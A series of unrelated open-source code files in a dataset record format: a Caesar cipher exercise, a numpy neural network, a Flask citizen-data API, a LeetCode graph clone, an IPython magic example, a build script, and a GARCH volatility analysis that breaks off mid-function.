finish.\n\t'''\n\tprint(\"Loading word list from file...\")\n\t# inFile: file\n\tinFile = open(file_name, 'r')\n\t# wordlist: list of strings\n\twordlist = []\n\tfor line in inFile:\n\t\twordlist.extend([word.lower() for word in line.split(' ')])\n\tprint(\" \", len(wordlist), \"words loaded.\")\n\treturn wordlist\n\n\ndef is_word(word_list, word):\n\t'''\n\tDetermines if word is a valid word, ignoring\n\tcapitalization and punctuation\n\n\tword_list (list): list of words in the dictionary.\n\tword (string): a possible word.\n\n\tReturns: True if word is in word_list, False otherwise\n\n\tExample:\n\t>>> is_word(word_list, 'bat') returns\n\tTrue\n\t>>> is_word(word_list, 'asdf') returns\n\tFalse\n\t'''\n\tword = word.lower()\n\tword = word.strip(\" !@#$%^&*()-_+={}[]|\\:;'<>?,./\\\"\")\n\treturn word in word_list\n\nWORDLIST_FILENAME = 'words.txt'\n\n\n# Creating an dictionary with each letter matched to a number from 0 to 52.\norigial_dict = dict(zip(string.ascii_uppercase + string.ascii_lowercase, range(0,52)))\n\nlist_dict = list(2*(string.ascii_uppercase + string.ascii_lowercase))\n\nlower_alphabet = list(string.ascii_lowercase)\nupper_alphabet = list(string.ascii_uppercase)\n\nshift_dict = origial_dict\n\nshift = 1\n\nword_list = ['hello', 'yes']\n\ndef creating_shift_dict(shift):\n\tfor k, v in origial_dict.items():\n\t\tif k in lower_alphabet:\n\t\t\tnew_value = v + shift\n\t\t\tshift_dict[k] = new_value\n\t\telif k in upper_alphabet:\n\t\t\tnew_value = v + shift\n\t\t\tshift_dict[k] = new_value\n\treturn(shift_dict)\n\n\ndef shifting_dict():\n\tfor k, v in shift_dict.items():\n\t\tshift_dict[k] = list_dict[v]\n\treturn(shift_dict)\n\n\n\n\n\ndef cipher_text(text, shift):\n\tshift_dict = creating_shift_dict(shift)\n\tshift_dict = shifting_dict()\n\tlist_text = list(text)\n\tcipher_word = []\n\tfor letter in list_text:\n\t\tif letter == ' ':\n\t\t\tcipher_word.append(' ')\n\t\telse:\n\t\t\tletter = shift_dict[letter]\n\t\t\tcipher_word.append(letter)\n\tcipher_word = ''.join(cipher_word)\n\treturn(cipher_word)\n\n\n\n#print(cipher_text('hello',1))\n\n# decoding a message\n\ntext2 = 'jgnnq'\n\ndef creating_minus_shift_dict(shift):\n\tfor k, v in origial_dict.items():\n\t\tif k in lower_alphabet:\n\t\t\tnew_value = v - shift\n\t\t\tshift_dict[k] = new_value\n\t\telif k in upper_alphabet:\n\t\t\tnew_value = v - shift\n\t\t\tshift_dict[k] = new_value\n\treturn(shift_dict)\n\ndef shifting_minus_dict():\n\tfor k, v in shift_dict.items():\n\t\tshift_dict[k] = list_dict[v]\n\treturn(shift_dict)\n\n\n\n\n\ndef uncipher_text(text, shift):\n\tshift_dict = creating_minus_shift_dict(shift)\n\tshift_dict = shifting_minus_dict()\n\tlist_text = list(text)\n\tcipher_word = []\n\tfor letter in list_text:\n\t\tif letter == ' ':\n\t\t\tcipher_word.append(' ')\n\t\telse:\n\t\t\tletter = shift_dict[letter]\n\t\t\tcipher_word.append(letter)\n\tcipher_word = ''.join(cipher_word)\n\treturn(cipher_word)\n\n\ndef decrypt_message(text2):\n\tlength_message = len(text2.split())\n\tlist_text = list(text2)\n\tshift2 = 1\n\twhile shift2 <= 26:\n\t\tpossible_message = uncipher_text(text2, shift2)\n\t\tcount = 0\n\t\tfor word in possible_message:\n\t\t\tif is_word(word_list, word) is True:\n\t\t\t\tcount += 1\n\t\t\tif count == length_message:\n\t\t\t\treturn(possible_message)\n\t\t\telse:\n\t\t\t\tshift2 += 1\n\n\n\n\n\nprint(decrypt_message('jgnnq'))","repo_name":"Rebecca-Simms/Python-MIT-Problems","sub_path":"Problem-Set-4/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19107060879","text":"import numpy as np\n\nclass DenseLayer:\n def __init__(self, input_size, output_size, activation=None):\n self.weights = np.random.randn(input_size, output_size)\n self.biases = np.ones((output_size))\n self.activation = activation\n\n def forward(self, input):\n self.input = input\n self.z = np.dot(input, self.weights) + self.biases\n\n if self.activation == 'relu':\n return np.maximum(0, self.z)\n elif self.activation == 'sigmoid':\n return 1 / (1 + np.exp(-self.z))\n else:\n return self.z\n\n def backward(self, dz, lr):\n n, m = self.input.shape\n\n if self.activation == 'relu':\n dz = dz * (self.z > 0)\n elif self.activation == 'sigmoid':\n sigmoid = 1 / (1 + np.exp(-self.z))\n dz = dz * sigmoid * (1 - sigmoid)\n\n dw = np.dot(self.input.T, dz) / m\n db = np.sum(dz, axis=0) / m\n da = np.dot(dz, self.weights.T) / m\n\n self.weights -= lr * dw\n self.biases -= lr * db\n\n return da\n\nclass DenseNetwork:\n def __init__(self):\n self.layers = []\n\n def add_layer(self, layer):\n self.layers.append(layer)\n\n def feed_forward(self, X):\n output = X\n for layer in self.layers:\n output = layer.forward(output)\n return output\n\n def backward_propagation(self, da, lr):\n for layer in reversed(self.layers):\n da = layer.backward(da, lr)\n\n def __call__(self, X, y, lr, n_epochs, batch_size=32):\n n, m = X.shape\n n_batches = m // batch_size\n\n print('\\n')\n for epoch in range(n_epochs):\n predictions = self.feed_forward(X)\n loss = self.compute_loss(predictions, y)\n print(f'Loss at epoch {epoch} === {loss}')\n da = self.compute_gradient(predictions, y)\n self.backward_propagation(da, lr)\n\n def compute_loss(self, predictions, y):\n n, m = y.shape\n #loss = -np.sum(y * np.log(predictions) + (1 - y) * np.log(1 - predictions)) \n loss = -np.sum(y * np.log(predictions))/m\n return loss\n\n def compute_gradient(self, predictions, y):\n n, m = y.shape\n dz = (predictions - y) / m\n return dz\n\n def predict(self, X):\n predictions = self.feed_forward(X)\n return predictions\n","repo_name":"SnkhchyanV/NeuralNetworks","sub_path":"DNN_Imp.py","file_name":"DNN_Imp.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71950222271","text":"import unittest\nimport filecmp\n\nimport os, sys\ncmd_folder, f = os.path.split(os.path.dirname(os.path.abspath(__file__)))\nif cmd_folder not in sys.path:\n sys.path.insert(0, cmd_folder)\n\n\nimport ipf.ipfgraphloader\nfrom ipf.ipfblock.rgb2gray import RGB2Gray\nfrom ipf.ipfblock.imageinput import ImageInput\n\n\nclass TestIPFGraphLoader(unittest.TestCase):\n\n def setUp(self):\n pass\n\n \n def test_get_ipfblock_classes(self):\n block_classes = ipf.ipfgraphloader.get_ipfblock_classes()\n self.assertEqual(block_classes['RGB2Gray'], RGB2Gray)\n self.assertEqual(block_classes['ImageInput'], ImageInput)\n \n \n def test_load_and_save_files(self):\n test_files = [\"test\",\n \"test_cells\",\n \"test_large\",]\n for file_name in test_files:\n self.help_test_load_and_save_file(file_name)\n \n \n def help_test_load_and_save_file(self, file_name):\n graph = ipf.ipfgraphloader.load(\"files/%s.xml\" % (file_name))\n graph.save(\"files/%s_load_save.xml\" % (file_name))\n self.assertTrue(filecmp.cmp(\"files/%s_load_save.xml\" % (file_name),\n \"files/%s.xml\" % (file_name) ),\n \"Load save failed: %s\" % (file_name)) \n \nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"anton-golubkov/Garland","sub_path":"src/test/test_ipfgraphloader.py","file_name":"test_ipfgraphloader.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3119207183","text":"sentence = \"New to Python or choosing between \" \\\n \"Python 2 and Python 3? Read Python 2 or Python 3.\"\n\nsentence_list = sentence.split(\" \")\n\nfreq = {}\n\nfor item in sentence_list:\n if item in freq:\n freq[item] += 1\n else:\n freq[item] = 1\n\n\nfor key, value in freq.items():\n print(key, value)\n","repo_name":"AngkushTarachand/PY_Bootcamp_DI","sub_path":"Week_6/Day_4/Exercise_Ninja/Exercise_4.py","file_name":"Exercise_4.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"25807587094","text":"#!/usr/bin/env python\n\n# mostly by #python@aghast\n\nimport os\nimport sys\nimport click\nfrom traitlets.config.loader import Config\nfrom IPython.core.magic import register_line_magic\nfrom IPython.terminal.prompts import Prompts, Token\nfrom IPython.terminal.embed import InteractiveShellEmbed\nfrom icecream import ic\n\nfrom IPython.core.magic import (Magics, magics_class, line_magic, cell_magic, line_cell_magic)\nfrom IPython.core.magic_arguments import (argument, magic_arguments, parse_argstring)\nfrom IPython.core.magic import needs_local_scope\n\n\nclass CustomPrompt(Prompts):\n def in_prompt_tokens(self, cli=None):\n return [(Token.Prompt, 'In ['),\n (Token.PromptNum, str(self.shell.execution_count)),\n (Token.Prompt, ']: '),\n (Token, os.getcwd()),\n (Token.Prompt, ' >>>: ')]\n\ntry:\n get_ipython\nexcept NameError:\n nested = 0\n cfg = Config()\n cfg.TerminalInteractiveShell.prompts_class=CustomPrompt\n\n # why wont this execute?\n # https://github.com/ipython/ipython/blob/master/IPython/core/shellapp.py#L103\n cfg.InteractiveShellApp.exec_lines = [\n 'print(\"\\\\nimporting some things\\\\n\")',\n 'import math',\n \"math\"\n ]\n\nelse:\n print(\"Running nested copies of IPython.\")\n print(\"The prompts for the nested copy have been modified\")\n cfg = Config()\n nested = 1\n\nipyshell = InteractiveShellEmbed(config=cfg,\n banner1='Dropping into IPython',\n exit_msg='Leaving Interpreter.')\n\n\n\n\n# The class MUST call this class decorator at creation time\n@magics_class\nclass MyMagics(Magics):\n\n @needs_local_scope\n @line_magic\n @magic_arguments()\n @argument('-o', '--option', help='An optional argument.')\n @argument('arg', type=int, help='An integer positional argument.')\n def magic_cool(self, arg, **kwargs):\n \"\"\" A really cool magic command.\"\"\"\n #print(\"local_ns:\", local_ns)\n ic(arg)\n ic(kwargs)\n args = parse_argstring(self.magic_cool, arg)\n ic(args)\n\n\n @line_magic\n def lmagic(self, line):\n \"my line magic\"\n print(\"Full access to the main IPython object:\", self.shell)\n print(\"Variables in the user namespace:\", list(self.shell.user_ns.keys()))\n return line\n\n @needs_local_scope\n @line_magic\n @magic_arguments()\n @argument('arg', type=str)\n def click_invoke(self, arg, **kwargs):\n ic(arg)\n ic(kwargs)\n #match='4-(2,3-dimethylphenyl)-N-[2-(3-methylphenoxy)ethyl]piperazine-1-carboxamide')\n return kwargs['local_ns']['ctx'].invoke(kwargs['local_ns']['find'], match=arg)\n\n @cell_magic\n def cmagic(self, line, cell):\n \"my cell magic\"\n return line, cell\n\n @line_cell_magic\n def lcmagic(self, line, cell=None):\n \"Magic that works both as %lcmagic and as %%lcmagic\"\n if cell is None:\n print(\"Called as line magic\")\n return line\n else:\n print(\"Called as cell magic\")\n return line, cell\n\n\nipyshell.register_magics(MyMagics)\n\n\n# Goal: execute this after the IPython shell starts, embedded in the local namespace (so ctx (see below) is in locals()\"\n#START = '''\n#@register_line_magic\n#def click_invoke(ctx, f, *args, **kwargs):\n# return ctx.invoke(f, *args, **kwargs)\n#'''\n\n@click.group(invoke_without_command=True)\n@click.pass_context\ndef cli(ctx):\n\n ipyshell()\n\n print('\\nBack in caller program, moving along...\\n')\n sys.exit(0)\n\n\nif __name__ == '__main__':\n cli()\n\n\n","repo_name":"jakeogh/pubchemmer","sub_path":"pubchemmer/ipython_embed_magic_example.py","file_name":"ipython_embed_magic_example.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12341732307","text":"\nsubdirs = ['mprpc', 'logger']\n\ndef options(opt):\n opt.recurse(subdirs)\n\ndef configure(conf):\n conf.check_cxx(header_name = 'sys/socket.h net/if.h sys/ioctl.h', mandatory = True)\n conf.check_cxx(header_name = 'netinet/in.h arpa/inet.h', mandatory = True)\n\n # Check compiler(GCC/Clang) support atomic builtin extension\n conf.check_cxx(fragment='''\n#include \nint main() {\n uint64_t c = 0;\n __sync_fetch_and_add(&c, 0);\n return 0;\n}\n''',\n msg = 'Checking for compiler atomic builtins',\n define_name = 'ATOMIC_I8_SUPPORT', mandatory = False)\n\n conf.recurse(subdirs)\n\ndef build(bld):\n src = 'network.cpp global_id_generator_standalone.cpp config.cpp signals.cpp system.cpp filesystem.cpp crc32.cpp'\n\n if 'HAVE_ZOOKEEPER_H' in bld.env.define_key:\n src += ' cached_zk.cpp zk.cpp membership.cpp cht.cpp lock_service.cpp global_id_generator_zk.cpp'\n\n bld.shlib(\n source = src,\n target = 'jubaserv_common',\n includes = '.',\n use = 'ZOOKEEPER_MT JUBATUS_CORE jubaserv_common_logger',\n vnum = bld.env['ABI_VERSION'],\n )\n\n test_src = [\n 'network_test.cpp',\n 'global_id_generator_test.cpp',\n 'unique_lock_test.cpp',\n 'crc32_test.cpp',\n 'system_test.cpp',\n 'filesystem_test.cpp',\n ]\n\n if 'HAVE_ZOOKEEPER_H' in bld.env.define_key:\n test_src += ['membership_test.cpp', 'cht_test.cpp']\n if 'INTEGRATION_TEST' in bld.env.define_key:\n test_src += ['zk_test.cpp', 'cached_zk_test.cpp', 'config_test.cpp']\n\n def make_test(s):\n bld.program(\n features = 'gtest',\n source = s,\n target = s[0:s.rfind('.')],\n includes = '.',\n use = ['JUBATUS_CORE', 'jubaserv_common']\n )\n for s in test_src:\n make_test(s)\n\n bld.install_files('${PREFIX}/include/jubatus/server/common/', [\n 'cht.hpp',\n 'config.hpp',\n 'global_id_generator_base.hpp',\n 'global_id_generator_standalone.hpp',\n 'global_id_generator_zk.hpp',\n 'lock_service.hpp',\n 'membership.hpp',\n 'crc32.hpp',\n 'network.hpp',\n 'signals.hpp',\n 'unique_lock.hpp',\n 'system.hpp',\n 'filesystem.hpp',\n ])\n bld.recurse(subdirs)\n","repo_name":"jubatus/jubatus","sub_path":"jubatus/server/common/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":707,"dataset":"github-code","pt":"60"} +{"seq_id":"43520282146","text":"from flask import request, jsonify, abort, render_template, redirect\nfrom app import app, db, redis\nfrom app.models import Citizen, percentile, Import\nfrom datetime import date\nfrom app.utils import generate_dict_for_json\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.exc import ProgrammingError\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n try:\n citizens_count = Citizen.query.count()\n except ProgrammingError:\n citizens_count = -1\n return render_template('index.html', citizens_count=citizens_count)\n\n\n@app.route('/imports', methods=['POST'])\ndef imports():\n \"\"\"Принимает на вход набор с данными о жителях в формате json и сохраняет его с уникальным идентификатором.\"\"\"\n if not request.json or 'citizens' not in request.json:\n return jsonify({'error': {'status': 400, 'reason': 'No data given'}}), 400\n import_id = Import.add_id()\n relatives = {}\n try:\n for citizen in request.json['citizens']:\n db.session.add(Citizen(citizen_id=citizen[\"citizen_id\"],\n town=citizen['town'],\n street=citizen['street'],\n building=citizen['building'],\n appartement=citizen['appartement'],\n name=citizen['name'],\n birth_date=citizen['birth_date'],\n gender=citizen['gender'],\n relatives=citizen['relatives'],\n import_id=import_id))\n if citizen['relatives']:\n relatives[citizen[\"citizen_id\"]] = list(citizen['relatives'])\n for cid, rels in relatives.items():\n for i in rels.copy():\n if cid in relatives[i]:\n rels.remove(i)\n if cid != i:\n relatives[i].remove(cid)\n else:\n raise ValueError('relatives')\n except (ValueError, KeyError) as err:\n db.session.rollback()\n Import.remove_id(import_id)\n err_description = f'Error in {err}' if isinstance(err, ValueError) else f'Relative {err} error'\n return jsonify({'error': {'status': 400, 'reason': err_description}}), 400\n db.session.commit()\n return jsonify({'data': {'import_id': import_id}}), 201\n\n\n@app.route('/imports//citizens/', methods=['PATCH'])\ndef edit_info(import_id, citizen_id):\n \"\"\"Изменяет информацию о жителе в указанном наборе данных.\n На вход подается JSON в котором можно указать любые данные о\n жителе (name, gender, birth_date, relatives, town, street,\n building, appartement), кроме citizen_id.\n \"\"\"\n if not request.json:\n return jsonify({'error': {'status': 400, 'reason': 'No data given'}}), 400\n try:\n citizen = Citizen.query.filter_by(citizen_id=citizen_id, import_id=import_id).one()\n except NoResultFound:\n return jsonify({'error': {'status': 400, 'reason': 'Bad import id or citizen id'}}), 400\n try:\n if 'town' in request.json:\n citizen.town = request.json['town']\n if 'street' in request.json:\n citizen.street = request.json['street']\n if 'building' in request.json:\n citizen.building = request.json['building']\n if 'appartement' in request.json:\n citizen.appartement = request.json['appartement']\n if 'name' in request.json:\n citizen.name = request.json['name']\n if 'birth_date' in request.json:\n citizen.birth_date = request.json['birth_date']\n if 'gender' in request.json:\n citizen.gender = request.json['gender']\n if 'relatives' in request.json:\n relatives_new = [Citizen.query.filter_by(import_id=import_id, citizen_id=i).one() for i in\n set(request.json['relatives']) - set(citizen.relatives)]\n relatives_to_delete = [Citizen.query.filter_by(import_id=import_id, citizen_id=i).one() for i in\n set(citizen.relatives) - set(request.json['relatives'])]\n for i in relatives_to_delete:\n t = i.relatives.copy()\n t.remove(citizen_id)\n i.relatives = t\n for i in relatives_new:\n i.relatives = i.relatives + [citizen_id]\n citizen.relatives = request.json['relatives']\n except (ValueError, NoResultFound) as err:\n err_description = f'Error in {err}' if isinstance(err, ValueError) else f'Relative {err} error'\n return jsonify({'error': {'status': 400, 'reason': err_description}}), 400\n db.session.commit()\n return jsonify({'data': citizen.get_dict()}), 200\n\n\n@app.route('/imports//citizens', methods=['GET'])\ndef get_info(import_id):\n \"\"\"Возвращает список всех жителей для указанного набора данных\"\"\"\n if not Import.query.filter_by(id=import_id).one_or_none():\n return jsonify({'error': {'status': 400, 'reason': 'Bad import id'}}), 400\n citizens = Citizen.query.filter_by(import_id=import_id)\n return jsonify({'data': [i.get_dict() for i in citizens]}), 200\n\n\n@app.route('/imports//citizens/birthdays', methods=['GET'])\ndef birthdays(import_id):\n \"\"\"Возвращает жителей и количество подарков, которые они будут покупать своим\n ближайшим родственникам (1-го порядка), сгруппированных по месяцам из\n указанного набора данных.\n \"\"\"\n if not Import.query.filter_by(id=import_id).one_or_none():\n return jsonify({'error': {'status': 400, 'reason': 'Bad import id'}}), 400\n citizens = Citizen.query.filter_by(import_id=import_id)\n months = {f'{i}': [] for i in range(1, 13)}\n for citizen in citizens:\n birthdays_months = citizen.birthdays_months()\n for k, v in birthdays_months.items():\n months[k].append({\"citizen_id\": citizen.citizen_id, \"presents\": v})\n return jsonify({'data': months}), 200\n\n\n@app.route('/imports//towns/stat/percentile/age', methods=['GET'])\ndef statistic(import_id):\n \"\"\"Возвращает статистику по городам для указанного набора данных в разрезе\n возраста жителей: p50, p75, p99, где число - это значение перцентиля\n \"\"\"\n if not Import.query.filter_by(id=import_id).one_or_none():\n return jsonify({'error': {'status': 400, 'reason': 'Bad import id'}}), 400\n citizens = Citizen.query.filter_by(import_id=import_id)\n cities = {}\n today = date.today()\n for citizen in citizens:\n cities[citizen.town] = cities.get(citizen.town, []) + [citizen.get_age(today)]\n cities = {city: sorted(ages) for city, ages in cities.items()}\n data = [{\"town\": city,\n \"p50\": percentile(ages, 0.5),\n \"p75\": percentile(ages, 0.75),\n \"p99\": percentile(ages, 0.99)} for city, ages in cities.items()]\n return jsonify({'data': data}), 200\n\n\n@app.route('/init', methods=['GET'])\ndef init_db():\n \"\"\"Инициализация БД, например после удаления\"\"\"\n db.create_all()\n return redirect('/')\n\n\n@app.route('/make_citizens_dust', methods=['GET'])\ndef delete_all():\n \"\"\"Удаление базы, полное и необратимое\"\"\"\n db.drop_all()\n redis.flushdb()\n return 'done, lol'\n\n\n@app.route('/generate/', methods=['GET'])\ndef generate(count):\n \"\"\"Генерация JSON для импорта\"\"\"\n return jsonify(generate_dict_for_json(count))\n","repo_name":"v1ack/yandex-backend-test","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34399815696","text":"# Given the head of a graph, return a deep copy (clone) of the graph.\n# Each node in the graph contains a label (int) and a list\n# (List[UndirectedGraphNode]) of its neighbors.\n# There is an edge between the given node and each of\n# the nodes in its neighbors.\n#\n# OJ's undirected graph serialization (so you can understand error output):\n# Nodes are labeled uniquely.\n#\n# We use # as a separator for each node, and , as a separator for node label and each neighbor of the node.\n#\n#\n# As an example, consider the serialized graph {0,1,2#1,2#2,2}.\n#\n# The graph has a total of three nodes, and therefore contains three parts as separated by #.\n#\n# First node is labeled as 0. Connect node 0 to both nodes 1 and 2.\n# Second node is labeled as 1. Connect node 1 to node 2.\n# Third node is labeled as 2. Connect node 2 to node 2 (itself), thus forming a self-cycle.\n#\n# Visually, the graph looks like the following:\n#\n# 1\n# / \\\n# / \\\n# 0 --- 2\n# / \\\n# \\_/\n\n# Definition for a undirected graph node\nclass UndirectedGraphNode:\n def __init__(self, x):\n self.label = x\n self.neighbors = []\n\n def toString(self):\n return self.label\n\nzero = UndirectedGraphNode(0)\none = UndirectedGraphNode(1)\ntwo = UndirectedGraphNode(2)\nzero.neighbors.extend([one, two])\none.neighbors.extend([two])\ntwo.neighbors.extend([two])\n\n\ndef cloneGraph(node):\n visited = {}\n return cloneNode(node, visited)\n\n\ndef cloneNode(node, visited):\n if not node: return\n\n if node.label in visited.keys():\n return visited.get(node.label)\n\n clone = UndirectedGraphNode(node.label)\n visited.update({clone.label: clone})\n for neigh in node.neighbors:\n clone.neighbors.append(cloneNode(neigh, visited))\n\n return clone\n\ncl = cloneGraph(zero)\n# for n in cl.neighbors:\n# for k in n.neighbors:\n# print(k.label)","repo_name":"osbetel/LeetCode","sub_path":"problems/lc133 - Clone Graph.py","file_name":"lc133 - Clone Graph.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1552583398","text":"'''Given heights of n towers and a value k. We need to either increase or decrease the height of every tower by k (only once) where k > 0. The task is to minimize the difference between the heights of the longest and the shortest tower after modifications and output this difference.\r\n\r\nExamples: \r\n\r\nInput : arr[] = {1, 15, 10}, k = 6\r\nOutput : Maximum difference is 5.\r\nExplanation : We change 1 to 7, 15 to 9 and 10 to 4. Maximum difference is 5 (between 4 and 9). We can't get a lower difference.\r\n\r\nInput : arr[] = {1, 5, 15, 10} \r\n k = 3 \r\nOutput : Maximum difference is 8 arr[] = {4, 8, 12, 7}\r\n\r\nInput : arr[] = {4, 6} \r\n k = 10\r\nOutput : Maximum difference is 2 arr[] = {14, 16} OR {-6, -4}\r\n\r\nInput : arr[] = {6, 10} \r\n k = 3\r\nOutput : Maximum difference is 2 arr[] = {9, 7} \r\n\r\nInput : arr[] = {1, 10, 14, 14, 14, 15}\r\n k = 6 \r\nOutput: Maximum difference is 5 arr[] = {7, 4, 8, 8, 8, 9} \r\n\r\nInput : arr[] = {1, 2, 3}\r\n k = 2 \r\nOutput: Maximum difference is 2 arr[] = {3, 4, 5} \r\n\r\n\r\nFirst, we try to sort the array and make each height of the tower maximum. We do this by decreasing the height of all the towers towards the right by k and increasing all the height of the towers towards the left (by k). It is also possible that the tower you are trying to increase the height doesn't have the maximum height. Therefore we only need to check whether it has the maximum height or not by comparing it with the last element on the right side which is a[n]-k. Since the array is sorted if the tower's height is greater than the [n]-k then it's the tallest tower available. Similar reasoning can also be applied to finding the shortest tower. \r\n\r\n\r\nNote:- We need not consider where a[i] 0 to n-1\r\n if arr[i]-k<0:continue #if negative dont do anything , leave\r\n smallest=min(arr[0]+k,arr[i]-k) #find min of arr[0]+k and remaining ele(ele at index 1 to n-1)-k\r\n largest=max(arr[n-1]-k,arr[i-1]+k) #find max of arr[n-1]-k and remaining ele(ele at index 0 to n-2)+k\r\n diff=min(diff,largest-smallest) #find min of curr diff and prev diff\r\n return diff\r\narr=[7, 4, 8, 8, 8, 9]\r\nk=6\r\nn=len(arr)\r\nprint(min_maxdiff(arr,k,n))\r\n#5\r\n'''Time Complexity: O(nlogn)\r\nAuxiliary Space: O(n)\r\n'''\r\n\r\n\r\n","repo_name":"roshni99679/DSA_Sheet_LuvBabbar","sub_path":"Array/Min_MaxDiff_bw_Heights.py","file_name":"Min_MaxDiff_bw_Heights.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9002707934","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n\n# %%\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\nfrom IPython.display import display, Markdown\nimport statsmodels.api as sm\nimport statsmodels.tsa.api as smt\nfrom statsmodels.regression.rolling import RollingOLS\nfrom statsmodels.tsa.arima_model import ARMA\nfrom arch.univariate import ConstantMean, LS, ARX, GARCH, EGARCH, EWMAVariance\nimport arch\nfrom math import sqrt, log, pi, pow\n\nimport datetime as dt\nimport matplotlib as mpl\n\nplt.style.use('seaborn') \npd.set_option('precision', 5)\n\nfrom matplotlib.dates import YearLocator, MonthLocator, DateFormatter\nyears = YearLocator(5) \nmonths = MonthLocator() \nyears_fmt = DateFormatter('%Y')\n\nmpl.rcParams['figure.figsize'] =(30, 8) \nmpl.rcParams['figure.titlesize'] = 18\nmpl.rcParams['axes.titlesize'] = 18\nmpl.rcParams['xtick.labelsize'] = 16\nmpl.rcParams['ytick.labelsize'] = 16\nmpl.rcParams['axes.labelsize'] = 16\nmpl.rcParams['legend.fontsize'] = 16\n\n# %% [markdown]\n# ## Load Data\n\n# %%\ndata = pd.read_excel('price_data.xlsx')\n\n\n# %%\ndata2 = pd.read_excel('1990_2000_price_data.xlsx')\n\n\n# %%\ndata = data.iloc[1:, :]\ndata.index = pd.to_datetime(data.iloc[:, 0], format='%Y-%m-%d')\ndata.index.name = 'date'\ndata = data.iloc[:, 1:].astype('float')\n\n\n# %%\ndata2 = data2.iloc[1:, :]\ndata2.index = pd.to_datetime(data2.iloc[:, 0], format='%Y-%m-%d')\ndata2.index.name = 'date'\ndata2 = data2.iloc[:, 1:].astype('float')\ndata2.dropna(inplace=True)\n\n\n# %%\nkospi_data = pd.concat([data2['KOSPI2 Index'], data['KOSPI2 Index']])\nspx_data = pd.concat([data2['SPX Index'], data['SPX Index']]) \n\n\n# %%\nkospi_data = kospi_data.sort_index().dropna()\nspx_data = spx_data.sort_index().dropna()\n\n\n# %%\nkospi_data.plot()\nspx_data.plot()\n\n\n# %%\nkospi_ret_data = np.log(kospi_data).diff().dropna()\nspx_ret_data = np.log(spx_data).diff().dropna()\nret_data = np.log(data).diff().dropna()\n\n\n# %%\nkospi_ret_data.plot()\nspx_ret_data.plot()\n\n# %% [markdown]\n# ## Single GARCH Model Result - Entire Dataset\n\n# %%\nstart_date = dt.datetime(2000, 1, 3)\nsplit_date = dt.datetime(2013, 12, 31)\n\ny1 = spx_ret_data.loc[spx_ret_data.index > start_date].to_frame()\ny2 = kospi_ret_data.loc[kospi_ret_data.index > start_date].to_frame()\n\n\n# %%\ndef adf_test(timeseries):\n print ('Results of Dickey-Fuller Test:')\n dftest = smt.stattools.adfuller(timeseries, autolag='AIC')\n dfoutput = pd.Series(dftest[0:4], index=['Test Statistic','p-value','#Lags Used','Number of Observations Used'])\n for key,value in dftest[4].items():\n dfoutput['Critical Value (%s)'%key] = value\n print (dfoutput)\n\n\n# %%\nadf_test(y1)\n\n\n# %%\nadf_test(y2)\n\n\n# %%\nrvol1 = y1.rolling(window=22).std().shift(-21).dropna()\nrvol2 = y2.rolling(window=22).std().shift(-21).dropna()\n\n\n# %%\ndef run_garch(y, rvol, model, split_date, x=None, verbose=True, lam=None):\n\n # specify mean model\n ls = ConstantMean(y=y)\n \n # specify volatility model\n if model == \"GARCH\":\n ls.volatility = GARCH(p=1, q=1)\n elif model == \"EGARCH\":\n ls.volatility = EGARCH(p=1, o=1, q=1)\n elif model == \"EWMA\":\n ls.volatility = EWMAVariance(lam)\n else:\n print(\"Misspecified volatility process name\")\n \n res = ls.fit(disp='off', last_obs=split_date)\n \n forecasts_1d = res.forecast(horizon=1)\n forecasted_vol = forecasts_1d.variance.pow(0.5).shift(1).dropna()\n \n test_merged = rvol.join(forecasted_vol).dropna()\n train_merged = rvol.join(res.conditional_volatility).dropna()\n\n test_MAE = np.abs(test_merged.iloc[:,0] - test_merged.iloc[:,1]).mean()\n train_MAE = np.abs(train_merged.iloc[:,0] - train_merged.iloc[:,1]).mean()\n total_MAE = (test_MAE * len(test_merged) + train_MAE * len(train_merged)) / (len(test_merged) + len(train_merged))\n MAE = [train_MAE, test_MAE, total_MAE]\n \n test_MSE = np.square(test_merged.iloc[:,0] - test_merged.iloc[:,1]).mean()\n train_MSE = np.square(train_merged.iloc[:,0] - train_merged.iloc[:,1]).mean()\n total_MSE = (test_MSE * len(test_merged) + train_MSE * len(train_merged)) / (len(test_merged) + len(train_merged))\n MSE = [train_MSE, test_MSE, total_MSE]\n \n test_HMAE = np.abs(1 - test_merged.iloc[:,1] / test_merged.iloc[:,0]).mean()\n train_HMAE = np.abs(1 - train_merged.iloc[:,1] / train_merged.iloc[:,0]).mean()\n total_HMAE = (test_HMAE * len(test_merged) + train_HMAE * len(train_merged)) / (len(test_merged) + len(train_merged))\n HMAE = [train_HMAE, test_HMAE, total_HMAE]\n \n test_HMSE = np.square(1 - test_merged.iloc[:,1] / test_merged.iloc[:,0]).mean()\n train_HMSE = np.square(1 - train_merged.iloc[:,1] / train_merged.iloc[:,0]).mean()\n total_HMSE = (test_HMSE * len(test_merged) + train_HMSE * len(train_merged)) / (len(test_merged) + len(train_merged))\n HMSE = [train_HMSE, test_HMSE, total_HMSE]\n\n 